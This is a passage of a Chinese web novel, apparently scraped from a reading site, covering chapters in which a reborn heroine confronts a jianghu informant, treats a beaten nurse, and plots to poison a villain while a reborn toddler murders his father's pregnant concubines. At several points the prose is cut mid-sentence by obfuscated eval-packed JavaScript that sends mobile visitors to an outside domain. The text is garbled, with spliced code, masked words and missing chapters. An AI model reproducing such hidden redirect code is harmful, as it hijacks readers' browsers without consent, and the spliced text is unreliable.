他没想到温令仪会来到雁门关,京中贵女虽个个都爱慕英雄,可谁有胆量和气魄往边境来,这可不是寻常,而是两国交战的时候,更不用说温令仪到了雁门关城就去了军营,这样的女子确实让人心里敬畏。 只是,她为何要见周仓?朝廷和江湖从来都泾渭分明,难道是为晏怀卿谋算? 想到晏怀卿,叶良只觉得老天都瞎了眼,那么好的女子怎么就遇到了晏怀卿这个中山狼呢? 书房里。 温令仪送上礼物后,周仓请温令仪落座。 “药王谷的关门弟子颇有些胆量,明知道穆青就在雁门关,竟也敢来赴死。”周仓像是看**一般的目光落在温令仪的身上。 温令仪没想到周仓竟只是个中年人,原本以为是个耄耋老者呢。 听到这话,温令仪微微颔首回道:“总有人要做别人不敢做的事,穆青在雁门关作恶多端,若放任不管岂不是有损天道。” 周仓眯起眼睛打量着温令仪:“小小年纪还敢妄称天道?温令仪,你可知自己在说什么?” “江湖百晓生,江湖事无所不知,若问天道,那我倒要问一句,江湖盟主墨染如今身在何处?你在雁门关意欲何为?”温令仪抬眸,笃定的看着周仓。 第175章 斩草除根,就要独宠 周仓朗声大笑:“果然,天道盟少主的母亲确实厉害,如此步步试探倒也算知道不少,不过你别忘记了,我与穆青乃是过命的交情,江湖谁人不知?” “这有什么好奇怪的?人世间任何事物都分三六九等,人心也分善恶,穆青于我来说是药王谷的败类,是心怀鬼胎又倒行逆施的当诛之人,于周大先生来说确实好友至交,不过是我们经历的事不一样罢了,我不会觉得周大先生和穆青交好,就是个能枉顾道义之人,否则也不会留在雁门关等待接应墨染了。”温令仪说。 周仓轻叹:“你到底是谁的说客?朝廷的?裴祈安的?” 温令仪摇头:“我是百姓的说客。” “不是为了让我不帮穆青,好让你顺利清理门户?”周仓笑道:“温令仪,你到底是晚辈,不知道当年穆青、天成子和上官子玉之间的事,江湖上的事情有什么能瞒得住我?梅山那次若非天成子技不如人,你和裴祈安低估了穆青,你们会让上官子玉拼了性命退穆青,你们才能安然无恙吗?” 温令仪轻轻地叹了口气没接茬儿。 周仓冷哼:“你们都以为穆青是该死之人,可你们可说明白江湖规矩?穆青投靠秦国公府固然坏了规矩,可药王谷身为江湖门派,掺和到朝廷的明争暗斗,可就不止坏了规矩那么简单,若药王谷觉得穆青该杀,药王谷要清理门户,那江湖中人也觉得药王谷无需再立足江湖,该被抹杀了。” “墨染与我有数面之缘,其人能成为盟主不单单是功夫了得,也绝不是蔡昀的辅佐就能成功的,既然周大先生什么都知道,不如说一说墨染为何能成为盟主,并且能号令江湖中人为大夏御敌在国土之外?”温令仪不给周仓说话的机会,一字一顿:“因朝廷可更迭,绝非一人的朝廷,也绝非一个姓氏的天下,但百姓生于斯长于斯更长眠于斯,他们才是大夏真正的根基,墨染是江湖人,更是心怀天下苍生的人,其并非只是侠客,更是大夏子民的守护者,而周大先生能在雁门关等着接应墨染盟主,应也是这般想的吧?” 周仓点头:“确实如此,盟主归来,江湖门派所有人都会来迎接,这是江湖中事,我周仓绝非不明道理,没有道义之人,同样,药王谷想要杀穆青,我周仓也一定会挡在前面,第一个不让!” “原来,你被穆青的蛊虫控制了。”温令仪取出来半卷书放在桌子上:“药王谷不准修炼邪门歪道的那些伎俩,但绝非对其一无所知,周大先生应该认得这是什么,杀不杀穆青,什么时候杀穆青,周大先生尽可护着,尽可推算,但穆青倒行逆施,残害雁门关将士是事实,必须死。” 温令仪说罢,起身福礼后,转身离开。 留下了周仓坐在椅子上脸色苍白,手指在椅子上轻轻地点了好几下,突然笑了。 裴祈安的女人,确实厉害。 天道盟少主的母亲,不同凡响。 而温令仪啊,绝非是在京城里表现得那般窝囊,其冰雪聪明啊。 温令仪本来只是猜测,但昨晚小囡囡说周仓在雁门关布局,目的极有可能是接应墨染和江湖中人,温令仪就笃定了心里的想法,穆青心思歹毒,早就用蛊虫控制那几个人了,若非如此,以穆青所做作为,周仓第一个就会宰了他,人生于天地间,还是有几分风骨和担当的。 受制于人确实可怜,自己能助他一臂之力,当然也能釜底抽薪,药王谷没有本事解蛊,但周仓一旦有了蛊书,必定能找到解蛊之人。 出门往外走,回头看了眼,她非但知道周仓在这里,也知道叶良就在周仓的身边,他避而不见也是好的,只是自己惦记着叶良是否能秉承初心,罢了,世间那么多事,自己怎么可能面面俱到,如今只需要等裴祈安的消息,周仓的一举一动都会在裴祈安的掌控之中的。 回到了平安客栈,温令仪有些疲惫的靠在软枕上看毒经,这些日子也不知道怎么了,总是觉得乏累,许是长途奔波,太过劳累了。 看着书竟睡着了,这一觉睡到了掌灯时分。 醒来就见小囡囡坐在自己身边,揉了揉额角:“娘亲太累了。” “嗯,爹爹也是这么说的,娘亲,我让厨房送吃喝过来。”小囡囡往外走去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845047|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 温令仪整理了衣衫起身,想到沐白师兄说晏怀卿的小妾**的事,穆青难道狗急跳墙了?显然可能性太小,就算是穆青和晏怀卿反目成仇,也不会明着就来。 除了穆青,谁还能对一个孕妇和未降生的孩子动手呢? 晏明昭! 这个名字在脑海里出现,温令仪的心都咯噔一下,晏明昭说到底才是一岁半的身量,就算是跟自己一样是重生之人,体力有限,若无人帮忙做不成**这种事吧? 显然,温令仪低估了晏明昭。 天黑下来了,元帅府里依旧没有人想起来他。 蜷缩在墙角的软草里,晏明昭静静地等着夜深人静,侧耳听着外面的动静,显然是有防备了,晏怀卿想要护住另外一个孩子,绝对不行! 晏明昭熬到了子时,外面终于安静下来了,他故技重施爬出了柴房,从水缸上下来的时候摔了一跤,握着尖刺一般的木棍悄悄地贴着墙角往慧姨娘的住处来。 来到门外发现没有任何动静,晏明昭没有贸然进去,而是蹲在暗处。 两个丫环急匆匆的回来,其中一个低声催促:“可快些,不知道得罪了什么人,咱们夫人的保胎丸忘记带了,元帅亲自守着也不行,必须得吃保胎丸。” 亲自守着? 晏明昭磨了磨牙,等两个丫环离开,他悄悄地跟在后面,晏怀卿的正院里灯火通明,他只能躲在屋后的暗处。 眼看着天都要亮了,晏明昭起身想走。 “莺歌,快去叫郎中来,我腹痛难忍。”慧姨娘一夜没敢睡,突然肚子疼的她往净房去。 晏明昭福至心灵一般迅速进了净房,就在慧姨娘坐在溺桶上的时候,他突然从侧面冲出来,拼尽全力把尖刺一般的木棍刺入了慧姨娘的肚子里。 慧姨娘转过头惊恐的看着晏明昭:“竟、竟然是你!” 晏明昭冷笑着拔下来尖刺,照着慧姨娘的脖子刺过去,上一世的记忆和一身好力气,让他得偿所愿后,迅速离开,爬进柴房,晏明昭气喘吁吁的坐在软草上,抬头吓得尖叫出声…… 第176章 请温令仪回府救命 小张氏跪坐在软草上,也是一脸惊恐。 “你!你怎么来了?”晏明昭眼里杀意涌动,若是自己所作所为被晏怀卿知道,自己是没机会长大的,他现在无力与之抗衡,只能等长大之后再作图谋,就算没人帮又如何?自己依旧要成为秦国公府的继承人,会成为少年神将,会荣耀满身。 小张氏摇头,轻轻地躺在了软草上:“为了给你求情,被打了三十大板。” 晏明昭不信,立刻过来查看,小张氏后背血肉模糊一片不是假的,他缓缓地跪坐在地上,伸出手却不敢触碰小张氏的后背。 “若知道你本事如此之大,我逃走就好了。”小张氏虚弱的说:“不过,**也好,人间极苦,极苦。” 晏明昭胸口剧烈起伏:“不行!你不能死!你必须活着!” “小公子,死对我来说是解脱。”小张氏确实觉得活着无趣,如今身体这般痛苦的时候,回想自己这一生,何曾有半分甜呢?哪怕就有半分甜,也能让自己撑一撑,偏偏自己没有。 晏明昭跑过来抓住了小张氏冰凉的手:“你必须活着,你要照顾我!你必须活着!我长大就会让你享福了。” 享福? 小张氏觉得可笑,晏明昭这样的小孩太可怕了,如果说小囡囡是天上福星来报恩的,那晏明昭就是地狱来的小魔头,晏家德行有亏何止一点半点,种种事都是败世之兆,偏偏老天都不肯给他们一个痛快,反倒更像是钝刀割肉,一点点儿把这家人蚕食干净才解恨似的。 不过就算是死,她也不想暴尸荒野,若是能在死之前见一见夫人,夫人能为自己收尸,也算圆满了。 晏明昭扑到门口,疯狂砸门:“开门!开门!我要见父亲!我要见父亲!” 小张氏看着晏明昭这幅样子,忍不住摇头,外面闹哄哄的声音很大,不用想也知道晏明昭把慧姨娘和孩子也杀了,这个时候就算晏怀卿不知道是晏明昭干的,可也绝对没工夫搭理晏明昭。 晏明昭的嗓子都喊哑了,门外一个人也没来,他回头看小张氏一眼,跑过来试了试鼻息,还活着,只是昏死过去了。 他回头看着落锁的柴门,外面的天已经亮了,小张氏再不救治会死掉,自己能长这么大都是小张氏再照顾自己,就这么一个照顾自己的人,绝不能死! 他坐下来闭目养神,也在心里盘算着如何才能不引起人注意,毕竟自己破开这扇门后,晏怀卿就极有可能怀疑到自己头上。 额头冷汗都出来了,晏明昭起身试了试小张氏微弱的鼻息,下定了决心,来到门前两只手扶着门板,双臂一用力,轰隆一声,门倒了,带倒了一大片墙。 门外看守的两个婆子连惨叫声都没发出来,被砸死当场。 晏明昭扫了眼两个人鼻口窜血的样子,冷冷的收回目光,他以为外面没人,这两个老货是故意不理自己,所以该死! 没着急出去,而是在门口坐下来,等这两个婆子彻底断气后才一溜烟儿的跑出去。 晏怀卿双目赤红的坐在椅子上,两晚,只过去了两晚,自己就绝嗣了! 偏偏府里没有任何蛛丝马迹,更可怕的是那动手的人若是还不肯罢休,下一个目标可能就是自己,堂堂元帅府怎么就跟纸糊的一般? “父亲。”晏明昭从外面跑进来,惊慌失措的跪在门口:“有人要杀昭儿,爹爹救我啊。” 晏怀卿猛地起身,自己怎么忘记了?还有晏明昭,看来下一个目标不是自己,而是晏明昭! 晏明昭爬进来,痛哭流涕但没有敢靠晏怀卿太近,可怜巴巴的看着晏怀卿,他在赌,赌晏怀卿为了血脉香烟也要把自己留下。 晏怀卿走了过来,从晏明昭眼里看到了惧意,压下心底的厌恶,伸出手。 晏明昭瑟缩的后退,眼看着那只手抓住了自己的小手。 “起来吧。”晏怀卿说。 晏明昭眼泪汹涌而出,爬起来扑到了晏怀卿的怀里:“爹爹,昭儿害怕。” “不怕。”晏怀卿轻轻地拍了拍晏明昭的后背。 晏明昭低声:“母亲要**,母亲为了昭儿。” 晏怀卿想到小张氏哭着求自己放过晏明昭时的样子,心里只觉得羞愧,小张氏照顾晏明昭的这段日子都有了母子之间的情分,而自己竟还打了她,那个满心满眼都是自己的女人,且是唯一一个。 “来人,去城外接邓二来府里。”晏怀卿下令。 吩咐人从柴房里把奄奄一息的小张氏抬出来,再看小张氏的伤势如此严重,把昨日行刑的两个婆子打了一顿扔出府去。 福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845048|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安小声说:“将军,柴房的门掉下来了,墙也塌了,安排在那边的两个婆子被砸**。” “砸**?”晏怀卿微微蹙眉,心里暗想这背地里动手的人是想要杀了晏明昭,也幸亏晏明昭跑得快才逃过一劫。 丝毫没有往晏明昭身上想。 晏明昭孝顺的跪坐在小张氏的床边,握着小张氏的手默默垂泪,那心疼的样子落在晏怀卿的眼里,只觉得自己误会了晏明昭,能如此孝顺小张氏,怎么就不会孝顺自己呢? 这么小的孩子只要悉心教导,纵然有些乖僻也无伤大雅。 最重要的是他力不从心,尽管身边女人不能缺,可除了那两个妾室怀了身孕,余下的可没有任何动静,若是晏明昭再遇害,那晏家就绝嗣了,这样的罪名可不能落在自己的头上。 邓二去而复返,饶是他专攻外伤,也被小张氏的伤势吓到了,转过身对晏怀卿深鞠一躬:“元帅,二夫人这伤太重,恐伤及五脏六腑,若想要救命单凭我一人只怕会耽误了二夫人,夫人出自药王谷,若我们二人合力,二夫人还有一线生机。” 晏怀卿起身就往外走。 晏明昭回头看着晏怀卿的背影,眼底一抹阴狠闪过。 一旁的邓二被吓了一跳,这么小的孩子,怎么会有如此恶毒的神情? 不过待他再看,晏明昭眼泪汪汪的样子太可怜,他以为自己看错了,倒也没放在心上。 平安客栈里。 沐白啧啧两声:“那动手的人挺狠,两个有孕的姨娘都**,师妹可知道是什么人动的手?” “师兄知道?”温令仪茶杯送到嘴边,抬眸问。 沐白压低声音:“是那个晏明昭。” 温令仪愣怔一瞬,转而倒也想得开,晏怀卿上一世只有晏明昭这一个孩子,所以这一世也只能有晏明昭一个,挺好的,就是自己低估了晏明昭呢。 门外守着的婆子进来:“夫人,将军求见。” 温令仪看沐白。 沐白低声:“是为了让你回去救小张氏,小张氏为晏明昭求情,被打的只剩下一口气了。” “让晏怀卿进来吧。”温令仪知道自己这一趟是必须回去了。 晏怀卿进门,走到温令仪面前深鞠一躬:“令仪,请回府救命吧。” 第177章 真以为自己对他还会有恻隐之心吗? 温令仪看晏怀卿弯下腰,放下茶盏:“救命?救谁?军中有军医在,我师叔也在,怎么也轮不到我出手。” “是府里被人盯上了。”晏怀卿知道不能耽搁,只能说:“回去的路上细说,请令仪随我回府,你可是我的妻,夫妻本一体啊。” 沐白冷笑:“你可太自以为是了,怎么着?你那些个花花事在京城荒唐也就罢了,到了雁门关还专门开了个青楼供你寻欢作乐,彼时你怎么想不到我的小师妹?这会儿倒是记起来他是你的夫人了?” 晏怀卿进来的时候就见到沐白了,这会儿就算是再难听的话也要听进去,救小张氏是重中之重,可药王谷的人去军营也是重中之重,那些将士不能再折损了,穆青靠不住,自己不能再自断根基。 思及此,把心一横撩起袍子跪下了:“令仪,是我多荒唐,你常说人命关天,不看僧面看佛面,回府吧。” 温令仪倒是受他这一跪了,没搭理晏怀卿,而是转过头对沐白说:“师兄,我们去看看吧。” “师妹要去,我自是要跟着的,免得被人害了都没有个帮手在身边。”沐白起身。 温令仪起身往外走的时候,回头问了句:“府里是谁受伤了?” “张氏。”晏怀卿起身跟上来。 温令仪眼神冷了下来,打量着晏怀卿。 晏怀卿被她看得如芒在背,只能硬着头皮说:“昭儿犯错,我略惩戒了一番,小张氏护着昭儿,我就打了她板子,下面的人下手重了,人怕要不行了。” “你可真行,小张氏当初是我请来的奶娘,你收到身边我管不着,可她照顾晏明昭尽心尽力,你怎么也不该下如此重手。”温令仪说了这么一句,迈步往外走。 沐白扫了眼晏怀卿,心里冷笑,这个男人委实薄情,何止对小张氏,那两个姨娘都怀着身孕,先后都**,也没见这个男人怎么样。 温令仪急匆匆入府,见到府里的人一个个都神色慌张,不问也知道是因为这两晚发生的事。 “人在哪里?”温令仪问晏怀卿。 晏怀卿带路。 邓二见温令仪和沐白过来了,悬着的心总算踏实了一些,他也想要趁机看看温令仪的医术如何。 “母亲,请救娘亲。”晏明昭跪在地上就给温令仪磕头。 温令仪绕过晏明昭来到床边,低声和邓二询问情况,检查伤势后,二人和沐白商量救命的法子。 “师妹!”沐白看温令仪拿出来了白瓷瓶,认出来这是师父给的保命丹药,出声:“这丹药十分贵重,你一共也就三颗,可是救命的啊。” 温令仪取出来一粒药丸用汤勺化开:“师兄,现在不是就是用来救命嘛,她的命和任何人的命一样贵重。” 灌下去保命丹,温令仪和邓二合力清理伤口,沐白给施针,怕小张氏这一口气吊不住再**。 晏明昭跪在旁边看着一盆盆血水端出去,压根儿都痒痒。 晏怀卿坐在一旁也十分紧张的盯着几个人。 伤口缝合都没机会,血肉模糊哪里能缝合上? 处理完伤口,邓二提到了紫云膏,温令仪又添减了一下份量,沐白亲自去熬药。 此时,已经到了下午。 温令仪坐下来可算能缓口气了,拿出来帕子擦拭额角和手心里的汗。 “母亲,多谢您救了娘亲。”晏明昭跪爬了几步到温令仪面前磕头。 温令仪淡淡的说:“现在还不算救活了,要看今晚能不能熬过去,若是发高热就很危险,安排几个可靠的人在这边守着。” “我守着娘亲。”晏明昭立刻爬起来,坐在了床边的脚踏上。 温令仪扫了眼晏明昭,起身往外走。 晏怀卿跟在温令仪身后出了门:“令仪,你住在府里可好?” “我没打算走啊。”温令仪转过身看晏怀卿:“今晚我也守着小张氏。” 晏怀卿欲言又止,急得搓手:“令仪,我还有事没说。” “嗯?”温令仪微微蹙眉:“怎么?你不是就让我回来救小张氏吗?还有别的事?” 晏怀卿这才把铃姨娘和慧姨娘的事说了一遍。 温令仪静静地听完,问:“你怀疑是我出手的?” “不不不,令仪就算再憎恶我,也不会伤及无辜,只是我还有事瞒着你没说。”晏怀卿吸了口气,压低声音:“能不能去书房坐下说?” 沐白环抱于胸:“晏怀卿,你休想耍花招,跟师妹说话带上我,谁知道你会不会对师妹不利啊?” “我!”晏怀卿本想说沐白多管闲事,夫妻俩的事,轮不到他横插一脚。 可若这样说,温令仪势必会护着沐白,甚至会立刻离开元帅府,点头:“好,那就带着你!” 三人在书房落座。 晏怀卿说:“穆青在雁门关。” “我知道啊,师叔不是一直都跟你在一起吗?”温令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845049|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪似是不感兴趣似的。 晏怀卿摇头:“这个人非常邪门,当初我亲眼看到他用祖父的脑子喂养蛊虫,可他说能解半边月的毒,令仪,半边月的毒十分霸道,镇国公府上亦是如此,我们都受罪了许多年,我想着人**就什么都无所谓了,得为活人着想,也想着只要能解半边月的毒,一定会先救镇国公和岳家的人。” 鬼话连篇的人啊,还觉得自己会说话呢,真是可笑至极。 “但,穆青竟然对边关将士下死手,用那些将士们豢养蛊虫,如今我百口莫辩,想要请令仪出手,能否让沐白师兄去军中常驻,只要能帮忙,我立刻上奏折跟皇上请功。”晏怀卿心里十分忐忑,不确定温令仪会不会答应。 温令仪看了沐白一眼,转过头:“好的。” 答应的这么爽快,让晏怀卿都接不上话了,看温令仪又看沐白,起身抱拳一礼:“药王谷大义,在下决不食言。” “那我们走了。”沐白起身。 晏怀卿赶紧说:“还有,还有,令仪,有刺客杀了慧姨娘和铃姨娘,两个未降世的孩子也折损了,我、我可能也命不久矣了。” “你怀疑是我出手的吗?”温令仪问。 心里只觉得可笑,晏明昭不会杀晏怀卿,上一世可十足的父慈子孝呢,不过是想要争宠罢了。 晏怀卿连连摇头:“不是,是想让令仪多加小心,住在府里我会派护卫,令仪别多心。” “好。”温令仪没什么好拒绝的,自己要离穆青近一些,唯有如此才能找机会继续下毒。 府里没有声张。 慧姨娘和铃姨娘都悄无声息的抬出去埋了。 温令仪当晚守在小张氏身边,晏明昭跪坐在床上,寸步不离。 夜深。 晏明昭抬头看了眼闭目养神的温令仪:“母亲,你难道不希望我也如此孝顺你吗?” 温令仪睁开眼睛打量着晏明昭,摇头:“你我之间并无母子缘分,而你也绝非良善之辈,你的生母是叶染秋。” “但是她把我卖了。”晏明昭笑着摇头,那模样怎么看都不像是小孩子:“我就想不明白了,为何生我?” 温令仪挑眉:“你说呢?” 都是重生来的人,跟自己耍什么花招?真以为自己对他还会有恻隐之心吗? “你想不想杀了穆青。”晏明昭突然问了这么一句,眼神定定的看着温令仪:“我可以帮忙,但有个条件。” 第178章还愁没帮手,帮手就来了 温令仪看着小张氏苍白的脸色,淡淡的说:“你若干预我的事,我不会像晏怀卿那般还有顾虑,别人都会把你当成孩子,而我不会,晏明昭,天雨虽宽不润无根之草的道理,你可能还不懂。” 晏明昭低头无言,他心里愤恨温令仪敲打自己,到如今谁也别给谁摆**阵,自己重生,她何尝不是?怪只怪自己当时口不能言,身不由己,若非占了先机,温令仪想要改变自己的命运,自己头一个就会把她抹杀,哪里会像晏怀卿那般窝囊,几次三番都不能得手! 如今自己想要的是跟随温慕阳,上一世自己的贵人便是温慕阳,从教**自己读书习武,到行军打仗,甚至到最后温慕阳为了能扶自己一把,宁愿交出项上人头,以为这样自己就能掌握晏家和温家兵权,兵权在手能为温家报仇。 呵,报仇?报什么仇?仇恨只会让人失去荣华富贵! 既然此路不通,那自己不在乎和穆青联手,若温令仪被制住,一切就会回到最开始的原点,温家在漠北,自己找到生母叶染秋假扮温令仪,那温家的一切照样唾手可得! 来到雁门关,见到了晏怀卿,晏明昭算是看透了,晏家指望不上! 小张氏没有起高热,温令仪松了口气,人在世间,说脆弱犹如蚍蜉,朝生暮死,若坚韧也犹野草一般,生生不息。 “夫人。”小张氏睁开眼睛看到温令仪,眼泪瞬间从眼角滚落,她不知自己已死里逃生,还以为是回光返照,费劲的伸出手拉住温令仪的衣袖:“夫人,我死不足惜,但不想暴尸荒野,求夫人把我葬了,一领草席就感激不尽了。” “你不会死掉的。”晏明昭立刻说:“我不会让你死掉的。” 温令仪看得很清楚,小张氏在听到晏明昭的声音后,瞳孔都撑大了,只不过很快就恢复了平静,闭嘴再也不肯说一句,她是怕说多了再被晏明昭看出端倪,给夫人徒增烦恼。 她根本不怕死,但不想让夫人为难。 “好好养着,皮肉伤一两个月就可痊愈,内伤有汤药辅佐,也不会留下病根儿。”温令仪说。 小张氏这才相信自己得救了。 只是,知道自己死里逃生却没有什么庆幸的感觉,只是觉得这样的日子过的生不如死,她现在是没办法告诉温令仪自己看到了什么,晏明昭哪里是孩子?分明就是个随时都可能**的魔头啊。 晏明昭看温令仪,再看小张氏,下床:“娘亲好好养着,有母亲给你诊脉开药,必定能好起来,儿子去找爹爹。” 小张氏没有阻止,心里还巴不得他赶紧走,自己有很多话要跟夫人说。 晏明昭急匆匆出门去,不是去找晏怀卿,而是往客院去找穆青。 等他走后,小张氏拉住衣袖:“他杀了铃姨娘和慧姨娘。” “我知道。”温令仪轻声说:“你本就不该把命都搭上,回头我安排你回京去,晏明昭留在雁门关就好。” 小张氏眼圈泛红:“夫人,我不想留在这些人跟前,我想要离开国公府。” 温令仪俯身在小张氏耳边:“到手的荣华富贵为何不要,国公府的一切最终只能是你的,他们不可能活着回去京城了。” 小张氏瞪大了眼睛。 “细情你不需知道,你只管以国公府平妻的身份经营自己的日子,这也算是你帮了我一场,我送你的造化,至于往后日子你怎么过,都随你。”温令仪坐直了身子:“总好过你如浮萍一般无所依靠,他日就算国公府不存在了,产业握在手中也足够你殷实的过这一辈子,到那个时候天底下何处不可去呢?” 小张氏明白温令仪的意思后,一个字也说不出来了。 秦国公府是要败了的。 温令仪不屑于那些产业。 自己若说为她做了什么,似乎也没做什么大事,但最终是得到好处最多的人。 温令仪是要保护自己的,因为自己现在离开,别说晏明昭放不放过自己,就是晏怀卿都不能放过自己,这父子二人都习惯了享受自己带给他们的好处了,也唯有在自己跟前才能得到他们想要的恭敬。 温令仪看了眼外面,不见晏明昭,也不见晏怀卿,心里冷笑,晏明昭是狗急跳墙了,但忘记了最重要的一个点,这么小的孩子,任凭谁都不会全然相信的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845050|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过穆青如今同样是陷入了困局,因晏怀卿已经不受其控制了,所以两个困兽各怀心思但能一拍即合。 “我这段日子就住在府里,你只管好好养伤,若有什么事让荷香去找我,每天早晚我也会过来给你看伤势。”温令仪说。 小张氏点头,她看到夫人眼底染了红丝,应该是守了自己一夜,救命之恩啊。 温令仪出门,荷香立刻进来,抹着眼泪给小张氏擦了脸,又整理了头发。 “荷香,我饿了。”小张氏说。 荷香立刻说:“大夫人给夫人准备了药膳的方子,奴婢亲自做出来了,这就去厨房端过来。” “好。”小张氏柔声。 她本就出身低微,不管到任何时候都不会为难荷香。 也正因为这份爱护的心思,荷香跟自己情同姐妹,相处的极好,若有朝一日自己得了自由身,必定也会善待荷香的。 温令仪回到自己的院子里,从箱子里取出来几个瓷瓶放在桌子上,正想着如何巧妙的给穆青下毒,说起来自己研习毒经的时间不长,但成果还是不错的,穆青最善毒,也太自信,认为天底下的毒都伤不了他,自己恰恰是利用了这一点,去年冬日里用炭下毒,那毒会附着在穆青的经脉中,只要这第二种毒用在穆青身上,这个人会从五脏六腑开始溃烂,无药可解。 用谁下药呢? “姐姐。” 温令仪抬头就见若桃从外面走进来,一阵风似的到了自己跟前。 “你怎么来了?”温令仪问。 若桃笑了:“当然是有人请我来的啊。” 温令仪一想到晏怀卿第一次看到易容后的若桃时候的眼神,就觉得恶心,微微的眯起眼睛:“为何请你来?” “说姐姐身边没人陪着,将军府里不**生,还说沐白他们都要去大营,雁门关鱼龙混杂,我在外面不安全。”若桃笑眯眯的说:“姐姐,穆青就在将军府,不请我来,我也要来!” 温令仪微微挑眉,这不就是瞌睡遇到了枕头吗? 还愁没帮手,帮手就来了,这仇啊,该报了! 第180章 临阵倒戈,晏怀卿要灭口 温令仪嗤笑出声,抬眸打量着晏怀卿:“我们,是夫妻吗?” 这一句话问得晏怀卿脊背发寒,色厉内荏的怒喝:“如何不是夫妻了?我是三媒六聘迎娶你进门的,我们是拜过天地和祖宗的夫妻!” “我来雁门关并非为了你,你心里很清楚。”温令仪淡漠的别开目光:“晏怀卿,既要又要,你也不问问自己凭什么?” 晏怀卿连连点头:“行,行,温令仪你真行!你不是为了我来雁门关,是为了罗政是不是?” “跟罗政有什么关系?”温令仪只觉得晏怀卿是**头猪脑。 不过也是应该,毕竟真正让秦国公府再次扬名的人不是他,而是晏明昭,这个男人本事有限,却又把有限的本事都用在算计自己身上了,该是多恶心,自己上一世竟被算计到死。 晏怀卿认为自己猜对了,咬牙切齿:“罗政就是为了你来雁门关的,别以为我不知道!他到这里来就处处想要争军功,跟我针锋相对!温令仪,我明摆着告诉你!你休想离开我,罗政也休想从我手里把你抢走!” “那如果你**呢?”温令仪再看向晏怀卿的时候,眼神冷冽。 晏怀卿站了起来,微微眯起眼睛:“你要弑夫?” “你不配我动手。”温令仪慢条斯理的说:“你身边的人太多想要你死的了,你心里不是很清楚?” 这话可戳了晏怀卿的心窝子,铃姨娘和慧姨娘的死,虽然他是难过的,毕竟自己的孩子也被害**,可也没多难过,更多的是害怕,有人要杀自己,这个人是谁又没有个目标,敌在暗自己在明,防不胜防啊。 “你安排人要杀我,然后以寡妇的身份改嫁给罗政?”晏怀卿迈步靠近温令仪。 温令仪抬眸看着晏怀卿:“你的脑子里除了这点儿腌臜的勾当就没别的了吗?要不是朝中无大将,你晏怀卿真没资格镇守雁门关!祖宗给你的这点子能耐,你是都败光了。” 晏怀卿猛地停下脚步,他知道了!是皇上要杀自己夺兵权! 早就知道! 从罗政和那些武举出来的人到雁门关时候就知道了,武举还能得天子门生的称号,皇上是想要兵权独揽,罗政如此急功近利是为了表现给皇上看,他想要取而代之。 皇上是要助罗政一臂之力,又不能太明显,才会对自己的子嗣动手,要斩草除根啊! 毕竟裴祈安是得了皇上首肯,才能行走在外,不受半边月的煎熬也极有可能是皇上帮忙了,而自己如今也不受半边月的控制,显然皇上急了,还有穆青,皇上早就想要穆青了,上次要不是穆青从诏狱逃出来了,只怕所有的秘密都不是秘密了。 甚至,晏怀卿觉得皇上如此宠信裴祈安,就算知道温令仪是解毒的药引,也会没有顾及的把温令仪抓去给裴祈安解毒。 呵! 从始至终,秦国公府三代人就没在天家心里! 偏偏,晏家从最开始陪着开国之君打天下,立下了汗马功劳,而自己现在也为朝廷卖命,镇守雁门关,真真是错付了! 扫了眼温令仪,没了跟她争的心思,温令仪知道的太多了,到现在他都不能确定温令仪是否知道穆青就是冲着她来的,想要通过温令仪和温家联手已然不能,无需多言。 他拂袖而去,决定往西凉去一趟。 之前一直都下不了决心,如今已无路可退,总不能坐以待毙。 温令仪看着晏怀卿离开,微微的勾起了唇角。 晏怀卿回去书房刚坐下来,福安慌里慌张的跑进来:“不好了,世子爷不好了,穆青要杀小公子!” “果然!”晏怀卿怒急,抓着宝剑就往外跑,晏明昭是自己唯一的血脉了!绝对不能死,若是**,晏家就绝种了! 一脚踹开穆青院子的门,晏怀卿怒喝一声:“住手!” 冲进来定睛一看,晏明昭倒在地上生死不知,他身体比头脑更快,长剑直奔穆青而去。 黑衣人再次出手,晏怀卿倒飞出去撞到了墙上,反弹摔在地上口吐鲜血,拄着宝剑缓缓站起来,福安吓得尖叫出声。 